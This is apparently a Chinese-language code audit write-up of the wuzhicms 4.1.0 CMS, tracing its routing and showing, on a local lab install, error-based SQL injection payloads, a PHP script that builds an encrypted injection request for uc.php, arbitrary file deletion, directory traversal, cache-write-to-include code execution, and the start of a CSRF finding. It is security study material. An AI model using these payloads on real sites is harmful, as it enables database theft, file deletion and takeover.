wuzhicms

wuzhicms_4.1.0代码审计

审计

一.理清目录结构

  1. 首先发现是 MVC 架构,相比 yccms 的没那么明显,WWW\wuzhicms-4.1.0\www\api\uc_client 下面就是模型层和控制器层。

  2. 文档中写有模块结构的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|-- coreframe                   #框架目录
| |-- app #模块(应用程序)目录
| | |-- affiche #公告模块
| | |-- appshop #应用商城
| | |-- attachment #附件模块
| | |-- collect #采集器
....................其他功能模块
.............
.......
| |-- configs #框架配置
| |-- core.php #框架入口
| |-- crontab #定时脚本目录
| |-- crontab.php #定时脚本入口
| |-- extend #扩展目录
| |-- languages #语言包
| --- templates #模板
|-- caches #缓存目录
| |-- _cache_ #公共缓存
| |-- block #区块、碎片缓存
| |-- content #内容模块缓存,栏目缓存
| |-- db_bak #数据库备份路径
| |-- install.check #安装锁定
| |-- model #模型缓存
| --- templates #模板缓存
--- www #网站根目录
|-- 404.html #404页面
|-- admin.php #后台入口
|-- api #api目录
|-- configs #网站配置
|-- favicon.ico #浏览器icon
|-- index.html #网站首页
|-- index.php #动态地址首页
|-- res #静态资源
|-- robots.txt #搜索引擎防抓取规则
|-- uploadfile #附件
`-- web.php #自定义路由

二.入口文件及路由分析

2.1 入口文件

  1. 入口文件:WWW\wuzhicms-4.1.0\www\index.php 。

$app 是实例化类 WUZHI_application 返回的对象,执行 run 方法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//检测PHP环境
if(PHP_VERSION < '5.2.0') die('Require PHP > 5.2.0 ');
//定义当前的网站物理路径
define('WWW_ROOT',dirname(__FILE__).'/');

require './configs/web_config.php';
require COREFRAME_ROOT.'core.php';

$app = load_class('application');
$app->run();
?>

load_class 跟进去:是要加载 coreframe/app/core/libs/class/application.class.php 文件,实例化 WUZHI_application 类并返回赋值给$app

存在 coreframe/app/core/libs/class/$class.php就实例化返回’WUZHI’_.$class 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

function load_class($class, $m = 'core', $param = NULL) {
.....
if (file_exists(COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php')) {
$name = 'WUZHI_'.$class;
if (class_exists($name, FALSE) === FALSE) {
require_once(COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php');
}
}
//如果存在扩展类,则初始化扩展类
if ($class!='application' && $class!='admin' && file_exists(COREFRAME_ROOT.'app/'.$m.'/libs/class/EXT_'.$class.'.class.php')) {
$name = 'EXT_'.$class;
if (class_exists($name, FALSE) === FALSE) {
require_once(COREFRAME_ROOT.'app/'.$m.'/libs/class/EXT_'.$class.'.class.php');
}
}

if ($name === FALSE) {
$full_dir = '';
if(OPEN_DEBUG) $full_dir = COREFRAME_ROOT.'app/'.$m.'/libs/class/';
echo 'Unable to locate the specified class: '.$full_dir.$class.'.class.php';
exit();
}

$static_class[$class] = isset($param) ? new $name($param) : new $name();
return $static_class[$class];//这里返回!!
}

2.2 路由文件

WUZHI_application 类在 coreframe/app/core/libs/class/application.class.php 文件里

它是整个应用的核心类,负责前端请求到后端控制器的连接与实例化。(load_file 方法里)

补充:在 PHP 中,final 关键字用于防止类被继承或方法被重写。通过在类或方法定义前加上 final 关键字,可以确保其行为不被子类修改。

application.class.php 文件即为路由文件:

m:模块名

f:文件名

v:方法名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

defined('IN_WZ') or exit('No direct script access allowed');
/**
* M/F/V 路由
*/
final class WUZHI_application {
/**
* @var app,模块名,取值方式:M
*/
private $_m;
/**
* @var 文件名 取值方式:F
*/
private $_f;
/**
* @var 方法名 取值方式:V
*/
private $_v;

......

方法:

  • 构造器:初始化路由配置,并定义当前请求的模块,文件名,方法三个常量
1
2
3
4
5
6
public function __construct() {
self::setconfig();
define('M',$this->_m);
define('F',$this->_f);
define('V',$this->_v);
}
  • setconfig():设置当前请求路由的参数并进行安全过滤,预先设置自动注入全局 GET 参数。

(就是在路由配置文件里通过 _get 字段预先设置的参数。 这些参数会在每次请求时自动写入 $_GET,全局都能用。这样做的目的是:在路由初始化时,自动为$_GET 补充一些参数,便于后续业务逻辑统一获取。)

  • safe():对传入的字符串进行过滤,去除特殊的字符。

  • . run()
    加载控制器类,判断站点状态,调用对应的方法(动作)。

1
$file = $this->load_file();
  • load_file() 判断是否是后台请求,前端请求如果带有特殊的 _su 参数且等于 _SU 常量,则说明是后台请求
    该方法用于加载并实例化指定模块下的控制器类,并返回该控制器的对象实例。
    也就是说,调用此方法后,返回的就是要访问的模块下对应控制器的类对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 public static function load_file($filename = '', $app = '', $param = '') {
static $static_file = array();
if(isset($GLOBALS['_su']) && $GLOBALS['_su']== _SU) {
$_admin_dir = '/admin';
} else {
$_admin_dir = '';
}
//判断是否存在类,存在则直接返回
if (isset($static_file[$filename])) {
return $static_file[$filename];
}
if (empty($filename)) $filename = F;
if (empty($app)) $app = M;
$filepath = COREFRAME_ROOT.'app/'.$app.$_admin_dir.'/'.$filename.'.php';
$name = FALSE;
if (file_exists($filepath)) {
//$name = 'WUZHI_'.$filename;
$name = $filename;
if (class_exists($name, FALSE) === FALSE) {
require_once($filepath);
}
}
//如果存在扩展类,则初始化扩展类
if (file_exists(COREFRAME_ROOT.'app/'.$app.$_admin_dir.'/EXT_'.$filename.'.php')) {
$name = 'EXT_'.$filename;
if (class_exists($name, FALSE) === FALSE) {
require_once(COREFRAME_ROOT.'app/'.$app.$_admin_dir.'/EXT_'.$filename.'.php');
}
}
$GLOBALS['_CLASS_NAME_'] = '';
if ($name === FALSE) {
$full_dir = '';
if(OPEN_DEBUG) {
$full_dir = COREFRAME_ROOT.'app/'.$app.$_admin_dir.'/';
} else {
$full_dir = '/coreframe/app/'.$app.$_admin_dir.'/';
}
$filename = strip_tags($filename);
echo 'Unable to locate the specified filename: '.$full_dir.$filename.'.php';
exit();
}
if (class_exists($name, FALSE) === FALSE) {
return TRUE;
}
$GLOBALS['_CLASS_NAME_'] = $name;
$static_file[$filename] = isset($param) ? new $name($param) : new $name();
return $static_file[$filename];
}
}

所以入口文件 load_class()加载路由文件 application.class.php 并实例化,执行其 run 方法进而执行 load_file()实例化控制器类(coreframe/app/参数 m 传递的值即对应的模块/admin($_admin_dir 的默认值)/参数 f 传递的文件名.php)

即文件路径:

1
$filepath = COREFRAME_ROOT.'app/'.$app.$_admin_dir.'/'.$filename.'.php';

2.3 后台登陆

管理员的入口文件:WWW\wuzhicms-4.1.0\www\admin.php

重定向到入口文件/www/index.php,执行入口文件$app->run(),完成前后端的连接(根据路由参数自动调用控制器中的方法 _SU 为常量 wuzhicms)

1
2
if(defined('_SU')) { header("Location:
".WEBURL.'index.php?m=core&v=login&_su='._SU); } ?>

找到 login 方法在 coreframe/app/core/admin/index.php

1
2
3
4
5
6
function login() {
//已经登陆的用户重定向到后台首页
if (isset($_SESSION['uid']) && $_SESSION['uid']!='') {
MSG(L('already login'), '?m=core&f=index'.$this->su(0));
}
......

三.代码审计

3.1sql 注入

3.1.1 注入(一)

3.1.1.1 从功能点开始

从功能点出发去找,发现了一处 sql 注入报错,’闭合

payload:

1
/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords='
3.1.1.2 原因分析&代码跟进

路由对应的是 coreframe/app/core/admin/copyfrom.php 文件 listing()方法

该方法将全局接收的 keywords 参数直接作为参数,传入 db 对象调用的 get_list()中执行。db 是 copyfrom 类的构造器执行 load_file()实例化 db.class.php 文件中的 WUZHI_db 类对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function listing() {
$siteid = get_cookie('siteid');
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
if(isset($GLOBALS['keywords'])) {
$keywords = $GLOBALS['keywords'];
$where = "`name` LIKE '%$keywords%'";
} else {
$where = '';
}
$result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);
$pages = $this->db->pages;
$total = $this->db->number;
include $this->template('copyfrom_listing');
}

所以跟进到 db.class.php 文件(写了 WUZHI_DB 类)中的 get_list()又将$where 传入 array2sql()

1
2
3
final public function get_list($table, $where = '', $field = '*', $startid = 0, $pagesize = 200, $page = 0, $order = '', $group = '', $keyfield = '', $urlrule = '',$array = array(),$colspan = 10) {
$where = $this->array2sql($where);
.......

array2sql 对$where 进行安全处理,但不严谨

传入的参数只有是数组的时候才会进行处理去除%20 %27 ( ) ‘

否则只去除%20 %27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private function array2sql($data) {
if(empty($data)) return '';
if(is_array($data)) {
$sql = '';
foreach ($data as $key => $val) {
$val = str_replace("%20", '', $val);
$val = str_replace("%27", '', $val);
$val = str_replace("(", '', $val);
$val = str_replace(")", '', $val);
$val = str_replace("'", '', $val);
$sql .= $sql ? " AND `$key` = '$val' " : " `$key` = '$val' ";
}
return $sql;
} else {
$data = str_replace("%20", '', $data);
$data = str_replace("%27", '', $data);
return $data;
}
}

在 payload 中写%27,发现做安全处理时%27 是以’出现的,(后端接收是已经自动解码了)

将返回结果赋值给$where,接下来回到我们的 get_list 方法接着执行,调试一下跟着进去 count_result() —>count()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
final public function get_list($table, $where = '', $field = '*', $startid = 0, $pagesize = 200, $page = 0, $order = '', $group = '', $keyfield = '', $urlrule = '',$array = array(),$colspan = 10) {
$where = $this->array2sql($where);
$offset = 0;
$page = max(intval($page), 1);
$offset = $pagesize*($page-1)+$startid;
if($page) {
$this->number = $this->count_result($table,$where);
$this->pages = pages($this->number, $page, $pagesize, $urlrule, $array,$colspan);
}
if ($page && $this->number == 0) {
return array();
} else {
return $this->read_db->get_list($table, $where, $field, "$offset,$pagesize", $order, $group, $keyfield);
}
}

又出现了 array2sql 再一次进行安全处理(虽然并不严谨嘞),之后 read_db->get_one 走到了 coreframe/app/core/libs/class/mysqli.class.php 的 get_one 方法(read_db 在 WUZHI_DB 的构造器里有定义是 WUZHI_mysqli 实例化对象)

1
2
3
4
final public function count($table, $where = '', $field = "COUNT(*) AS num", $startid = 0, $order = '', $group = '') {
$where = $this->array2sql($where);
return $this->read_db->get_one($table, $where, $field, "$startid,1", $order, $group, FALSE);
}

mysqli.class.php :get_one()直接将$where 拼接到 sql 语句中 query()执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function get_one($table, $where, $field = '*', $limit = '', $order = '', $group = '', $condition = TRUE) {
$where = $where ? ' WHERE '.$where: '';
if($condition) {
$field = $field == '*' ? '*' : self::safe_filed($field);
} else {
$field = $this->escape_string($field);
}
$order = $order ? ' ORDER BY '.$order : '';
$group = $group ? ' GROUP BY '.$group : '';
$limit = $limit ? ' LIMIT '.$limit : '';

$sql = 'SELECT '.$field.' FROM `'.$this->tablepre.$table.'`'.$where.$group.$order.$limit;
$query = $this->query($sql);
return $this->fetch_array($query);
}

query 是自定义的,在它里面调 halt()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function query($sql, $type = '', $cachetime = FALSE) {
//if($_SERVER['REMOTE_ADDR']=='127.0.0.1') echo $sql."<br>";
if(!($query = mysqli_query($this->link,$sql)) && $type != 'SILENT') {
$this->halt('MySQL Query Error', $sql);
}
$this->querynum++;
$this->histories[] = $sql;
if(defined('SQL_LOG') && SQL_LOG=='1') {
if(substr($sql,0,21)!='INSERT INTO `wz_logs`' && substr($sql,0,24)!='DELETE FROM `wz_session`' && substr($sql,0,25)!='REPLACE INTO `wz_session`') {
error_log(date('Y-m-d H:i:s',SYS_TIME).' '.$sql."\r\n", 3, CACHE_ROOT."sql_log.".CACHE_EXT.'.sql');
}
}
return $query;
}

halt  将错误信息、SQL 语句和 MySQL 错误内容一起输出,所以可以用报错注入

1
2
3
4
5
6
7
public function halt($message = '', $sql = '') {
MSG('<div style="font-size: 9px;word-break: break-all;height: 150px;overflow: overlay;">[sql_error]'.$message.'

'.$sql.'
[msg]'.mysqli_error($this->link).'</div>');
}
}

3.1.2 注入(二)同(一)

发现网站还是有很多的搜索的,既然 array2sql()的安全处理有问题,后面也给报错注入提供了机会,接下来全局搜索 get_list 方法

找第二个参数不是数组的,且是可控变量

coreframe/app/order/admin/card.php

对应的路由就是/www/index.php?m=order&f=card&v=listing&_su=wuzhicms

3.1.2.1 构造 payload

接着根据源码构造 payload,这里和 sql 注入(一)都是利用 get_list()接受的第二个参数不是数组来绕过较完善的安全处理,不太一样的就是参数 key_type 要改成非 0,非 1的跳过 if,直接 get_list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function listing() {
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
$batchid = isset($GLOBALS['batchid']) ? $GLOBALS['batchid'] : 0;
$keytype = isset($GLOBALS['keytype']) ? $GLOBALS['keytype'] : 0;
$keywords = isset($GLOBALS['keywords']) ? trim($GLOBALS['keywords']) : '';

$where = $batchid ? "`batchid`='$batchid'" : '';
if($keytype==0 && $keywords) {
$where = "card_no LIKE '$keywords%'";
} elseif($keytype==1 && $keywords) {
$r = $this->db->get_one('member', array('username' => $keywords));
if($r) {
$uid = $r['uid'];
$where = "uid = '$uid'";
} else {
MSG('用户不存在',HTTP_REFERER);
}
}
$result = $this->db->get_list('order_card', $where, '*', 0, 20,$page,'cardid DESC');
$pages = $this->db->pages;
$total = $this->db->number;
$status_arr = array('<b>待发送</b>','未预约','已预约');
include $this->template('card_listing');
}


还找到一个

coreframe/app/promote/admin/index.php search()方法

和(一)一模一样

1
2
3
4
5
6
7
8
9
10
public function search() {
$siteid = get_cookie('siteid');
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
$fieldtype = $GLOBALS['fieldtype'];
$keywords = $GLOBALS['keywords'];
if($fieldtype=='place') {
$where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
$result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');
.......

同理的再+1

1
2
3
4
5
6
7
8
public function detail_listing() {
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
$groupname = isset($GLOBALS['groupname']) ? strip_tags($GLOBALS['groupname']) : '';
$where = $groupname ? "groupname='$groupname'" : '';
$result = $this->db->get_list('coupon_card', $where, '*', 0, 20,$page,'cardid DESC');
$pages = $this->db->pages;
$t

在 PHP 中,<font style="color:rgba(0, 0, 0, 0.85);">strip_tags()</font> 是一个内置函数,用于从字符串中移除 HTML 和 PHP 标签。它通常用于过滤用户输入,防止 XSS 攻击或净化文本内容

这里对应的功能点是要生成一个优惠劵,在优惠卷列表这里


在搜索的过程中发现

\phpstudy_pro\WWW\wuzhicms-4.1.0\www\api\uc.php 但是访问这个接口返回 Invalid Request,在后面参考文章知道也是可以利用的

注意是双引号闭合的哈!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function synlogin($get, $post) {
header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
$username = $get['username'];
$r = $this->member->db->get_one('member', 'username="'.$username.'"');
print_r($r);
if($r){
$cookietime = COOKIE_TTL ? SYS_TIME.COOKIE_TTL : 0;
set_cookie('auth', encode($r['uid']."\t".$r['password']."\t".$cookietime, substr(md5(_KEY), 8, 8)), $cookietime);
set_cookie('_uid', $r['uid'], $cookietime);
set_cookie('_username', $r['username'], $cookietime);
set_cookie('_groupid', $r['groupid'], $cookietime);
}
return API_RETURN_SUCCEED;
}

返回 Invalid Request 因为:

  • 这个接口是专门为 UCenter(用户中心)服务端通信设计的,不是给普通用户或浏览器访问的页面。
  • 它需要一个经过加密的 code 参数,只有 UCenter 系统才能正确生成。

调试拿到自己的 key

将用 ai 写的脚本放在根目录下访问,得到输出的 Code

payload 构造:’username’ => ‘1111” and updatexml(1,concat(0x7e,database()),1) – ‘

注意 “ 闭合,–空格 才能起到注释作用,–+会使得本身语法报错,就不会触发 updatexml 报错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : '123456'); // 这里填你的UC_KEY
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}

// 1. 构造参数
$data = array(
'action' => 'synlogin',
'username' => '1111" and updatexml(1,concat(0x7e,database()),1) -- ', // 替换成你要测试的用户名
'time' => time()
);

// 2. 拼接参数为字符串
$query = http_build_query($data);

// 3. 加密
$uc_key = 'e063rbkHX22RAvIg'; // 这里填你的UC_KEY
$code = _authcode($query, 'ENCODE', $uc_key);

// 4. 输出测试URL
echo "http://wuzhicms:8126/www/api/uc.php?code=" . urlencode($code);

加上 code 再访问就成功了

wuzhicms:8126/www/api/uc.php?code=9675YErSfI7%2FTSjfF96QJIXD289WM2BGZBb7hojSXsjZWrO5ZtPqStiDPp1oKaysw73e5MKbfBZxZRfYTzas%2Bu0L8zGkY1RNCIjUGyMJ0fb7TqisICD7G28M86WkntsZ04%2FIpGJk9LbVT0jyyVFszXtKVYMNZIpjl%2BJ8S7O5JK4UzDiOkY%2FCjdhqdxaDXA

3.1.3 注入(三)

3.1.3.1 从可控参数开始

以上是从一个功能点找到的,分析对应代码找到一个危险方法进而找到的。接着从可控参数入手且需要能与数据库进行交互的,搜索$GLOBALS

coreframe/app/member/admin/group.php 的 del 方法,db->delete()跟进到 coreframe/app/core/libs/class/db.class.php 文件(db 是 load_class 加载的)

并且这里是以数组的形式传递的,那么安全处理时就全处理了(但)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function del() {
if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {
if(is_array($GLOBALS['groupid'])) {
$where = ' IN ('.implode(',', $GLOBALS['groupid']).')';
foreach($GLOBALS['groupid'] as $gid) {
$this->db->delete('member_group_priv', array('groupid' => $gid));
}
} else {
$where = ' = '.$GLOBALS['groupid'];
$this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));
}

$this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);
$this->group->set_cache();

db.class.php:

master_db->delete($table, $where)

1
2
3
4
final public function delete($table, $where = '') {
$where = $this->array2sql($where);
return $this->master_db->delete($table, $where);
}

在构造器里找到 master_db 是 WUZHI_musqli 实例化对象(文件路径为:coreframe/app/core/libs/class/mysqli.class.php)

  • get_config()方法是在 core.php 文件中去定义的,因为入口文件会加载 coreframe/core.php,该方法返回配置文件 mysql_config.php 内容
1
2
3
4
5
6
7
8
9
10
11
12
public function __construct($config_file = 'mysql_config') {
$this->mysql_config = get_config($config_file);
$this->dbname = $this->mysql_config[$this->db_key]['dbname'];
$this->tablepre = $this->mysql_config[$this->db_key]['tablepre'];
$this->dbcharset = $this->mysql_config[$this->db_key]['dbcharset'];

$this->slave_server = isset($this->mysql_config[$this->db_key]['slave_server']) ? $this->mysql_config[$this->db_key]['slave_server'] : '';

$class = $this->mysql_config[$this->db_key]['type'];
require_once(COREFRAME_ROOT.'app/core/libs/class/'.$class.'.class.php');
$classname = 'WUZHI_'.$class;
$this->master_db = new $classname($this->mysql_config[$this->db_key]);

所以就跟到了 mysqli.class.php 的 delet 方法

好这里是直接拼接的

1
2
3
4
5
public function delete($table, $where = '') {
$where = $where ? ' WHERE '.$where: '';
$sql = 'DELETE FROM `'.$this->tablepre.$table.'`'.$where;
return $this->query($sql);
}

在 query 中用了 halt,  所以报错注入

1
2
3
4
5
public function query($sql, $type = '', $cachetime = FALSE) {
//if($_SERVER['REMOTE_ADDR']=='127.0.0.1') echo $sql."<br>";
if(!($query = mysqli_query($this->link,$sql)) && $type != 'SILENT') {
$this->halt('MySQL Query Error', $sql);
}

以上就是分析的全过程,payload:

1
/www/index.php?m=member&f=group&v=del&groupid=4+and+(updatexml(1,concat(0x7e,database()),1))--+&_su=wuzhicms....

3.1.4 总结一下

  1. 这套源码将接受的全局参数赋值给$where 时用’或”闭合时没做数组处理就直接传:使得安全处理方法仅仅对仅过滤%20 %27——>使得能成功闭合

    注入 3 虽然是将$where 处理为数组再传入安全处理的方法,但它是数字型的不需要闭合

  2. 而且·在执行 sql 语句时用自定义的 query 方法,该方法里面调用了 halt 方法输出报错信息——>使得能用报错注入


3.2 任意文件删除

危险函数列表:

1
2
3
4
5
6
7
unlink()
rmdir()
array_map('unlink',glob())
system("rm -rf $path")
Filesystem::deleteDirectory
remove_dir
Filesystem::delete

全局搜索 unlink(),查看参数可控的

找到 coreframe/app/attachment/admin/index.php del()方法

调用自定义的 my_unlink 方法,url 参数经过 remove_xss 处理,没过滤../

我们要执行危险方法 unlink,if 里面有,else 里面也有,执行哪一个?

注意这里 if 里面的 unlink 是以从数据库中查询后返回的结果作为参数,参数不可控的!

所以就进入下面的 else,

$url中的ATTACHMENT_URL 替换为空赋给$path

define(‘ATTACHMENT_URL’,’http://wuzhicms:8126/www/uploadfile/‘);

到数据库中去查找有没有对应的信息,当 id 不传入,这里$att_info 为空, 直接调用类中的 my_unlink 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public function del()
{
$id = isset($GLOBALS['id']) ? $GLOBALS['id'] : '';
$url = isset($GLOBALS['url']) ? remove_xss($GLOBALS['url']) : '';
if (!$id && !$url) MSG(L('operation_failure'), HTTP_REFERER, 3000);



//if
if ($id) {
if(!is_array($id)) {
$ids = array($id);
} else {
$ids = $id;
}

foreach($ids as $id) {
$where = array('id' => $id);
$att_info = $this->db->get_one('attachment', $where, 'usertimes,path');
if ($att_info['usertimes'] > 1) {
$this->db->update('attachment', 'usertimes = usertimes-1', $where);
}
else {
$this->my_unlink(ATTACHMENT_ROOT . $att_info['path']);
$this->db->delete('attachment', $where);
$this->db->delete('attachment_tag_index', array('att_id'=>$id));
}
}
MSG(L('delete success'), HTTP_REFERER, 1000);
}


//else在这里
else {
if (!$url) MSG('url del ' . L('operation_failure'), HTTP_REFERER, 3000);
$path = str_ireplace(ATTACHMENT_URL, '', $url);
if ($path) {
$where = array('path' => $path);
$att_info = $this->db->get_one('attachment', $where, 'usertimes,id');

if (empty($att_info)) {
$this->my_unlink(ATTACHMENT_ROOT . $path);
MSG(L('operation_success'), HTTP_REFERER, 3000);
}

if ($att_info['usertimes'] > 1) {
$this->db->update('attachment', 'usertimes = usertimes-1', array('id' => $att_info['id']));
}
else {
$this->my_unlink(ATTACHMENT_ROOT . $path);
$this->db->delete('attachment', array('id' => $att_info['id']));
MSG(L('operation_success'), HTTP_REFERER, 3000);
}
}.....

单独拿出来:

$this->my_unlink(ATTACHMENT_ROOT . $path);

当前目录:define(‘ATTACHMENT_ROOT’,WWW_ROOT.’uploadfile/‘);

my_link()

看到该方法,只要传入的路径下存在指定的文件,就直接进行操作,那么就能达到任意文件删除的目的

1
2
3
4
private function my_unlink($path)
{
if(file_exists($path)) unlink($path);
}

在网站根目录下放 1.php

3.2 目录遍历

在返回上一级目录这里,抓包:

1
/www/index.php?dir=.&m=attachment&f=index&v=dir&_su=wuzhicms&_menuid=29&_submenuid=52

分析路由,对应文件就在 coreframe/app/attachment/admin/index.php

$GLOBALS[‘dir’]去除首尾空格后,过滤” ..\ ./ ./ .\ %2F //“

将变量$dir 拼接到 ATTACHMENT_ROOT . $dir . ‘/‘ . ‘*‘中传入 glob() define(‘ATTACHMENT_ROOT’,WWW_ROOT.’uploadfile/‘);

在 PHP 中,<font style="color:rgba(0, 0, 0, 0.85);">glob()</font> 是一个用于文件系统操作的内置函数,用于查找与指定模式匹配的文件路径。它类似于命令行中的 <font style="color:rgba(0, 0, 0, 0.85);">ls</font><font style="color:rgba(0, 0, 0, 0.85);">dir</font> 命令,但返回的是符合条件的文件和目录的数组

1
2
3
4
5
6
7
8
9
public function dir()
{
$dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
$dir = str_ireplace(array('%2F', '//'), '/', $dir);
$lists = glob(ATTACHMENT_ROOT . $dir . '/' . '*');
if (!empty($lists)) rsort($lists);
$cur_dir = str_replace(array(WWW_ROOT, DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR), array('', DIRECTORY_SEPARATOR), ATTACHMENT_ROOT . $dir . '/');
include $this->template('dir', M);
}

所以 poc 中 dir=.. (.不会过滤,与后面的/进行拼接 就返回上一级,可以目录遍历)


/coreframe/app/template/admin/index.php 这个文件中还有一个方法 listing 也有同样的问题。不详细看了

1
2
3
4
5
6
7
8
9
public function listing() {
$dir = $this->dir;
$lists = glob(TPL_ROOT.$dir.'/'.'*');

//if(!empty($lists)) rsort($lists);
$cur_dir = str_replace(array( COREFRAME_ROOT ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('',DIRECTORY_SEPARATOR), TPL_ROOT.$dir.'/');
$show_dialog = 1;
include $this->template('listing');
}

3.3 任意文件写入+文件包含=rce

coreframe/app/attachment/admin/index.php 文件

对传入的 submit 参数进行判断,有则用 cache_in_db 进行缓存信息的写入,没有会读取缓存信息

1
2
3
4
5
6
7
8
9
10
11
12
13
public function ueditor()
{
if (isset($GLOBALS['submit'])) {
$cache_in_db = cache_in_db($GLOBALS['setting'], V, M);
set_cache(V, $GLOBALS['setting']);
MSG(L('operation_success'), HTTP_REFERER, 3000);
}
else {
$setting = get_cache(V);
if(empty($setting)) $setting = cache_in_db('', V, M);
include $this->template(V, M);
}
}

将信息写入后,调用 set_cache()(coreframe/app/core/libs/function/common.func.php 文件里)

$filename传入的是V, $data是$GLOBALS[‘setting’],在下面的方法中 file_put_contents($filename, $data);将$data 未处理写入$filename 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function set_cache($filename, $data, $dir = '_cache_'){
static $_dirs;
if ($dir == '') return FALSE;
if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;
$cache_path = CACHE_ROOT . $dir . '/';
if (!isset($_dirs[$filename . $dir])) {
if (!is_dir($cache_path)) {
mkdir($cache_path, 0777, true);
}
$_dirs[$filename . $dir] = 1;
}

$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';
if (is_array($data)) {
$data = '<?php' . "\r\n return " . array2string($data) . '?>';
}
file_put_contents($filename, $data);
}

成功写入缓存文件里面

未传入 submit 时调用的 get_cache方法

$filename(V) 和$dir( cache)作为参数

get_cache_path 获取缓存文件对应的路径并赋值给$file

最后包含$file

1
2
3
4
5
6
function get_cache($filename, $dir = '_cache_'){
$file = get_cache_path($filename, $dir);
if (!file_exists($file)) return '';
$data = include $file;
return $data;
}

所以要触发上面写的 php 代码

直接访问/www/index.php?m=attachment&f=index&_su=wuzhicms&v=ueditor


3.4 CSRF

添加管理员抓包,根据对应的路由找到方法

coreframe/app/core/admin/power.php add 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function add() {
if(isset($GLOBALS['submit'])) {
if(empty($GLOBALS['form']['username'])) MSG(L('parameter error'));
$username = $GLOBALS['form']['username'];
$r = $this->db->get_one('member',array('username'=>$username));
if(!$r['uid']) MSG(L('账号不存在,请先管理会员处-添加账号'));
$rs = $this->db->get_one('admin',array('uid'=>$r['uid']));
if($rs) MSG(L('管理员已存在!'));
$formdata = array();
$formdata['uid'] = $r['uid'];
if(empty($GLOBALS['form']['password'])) {
$formdata['password'] = '';
} else {
$factor = substr(random_string('md5'),0,6);
$password = md5(md5($GLOBALS['form']['password']).$factor);
$formdata['password'] = $password;
$formdata['factor'] = $factor;
}
$formdata['role'] = ','.implode(',',$GLOBALS['form']['role']).',';
$formdata['truename'] = remove_xss($GLOBALS['form']['truename']);
$this->db->insert('admin',$formdata);
MSG(L('operation success'));
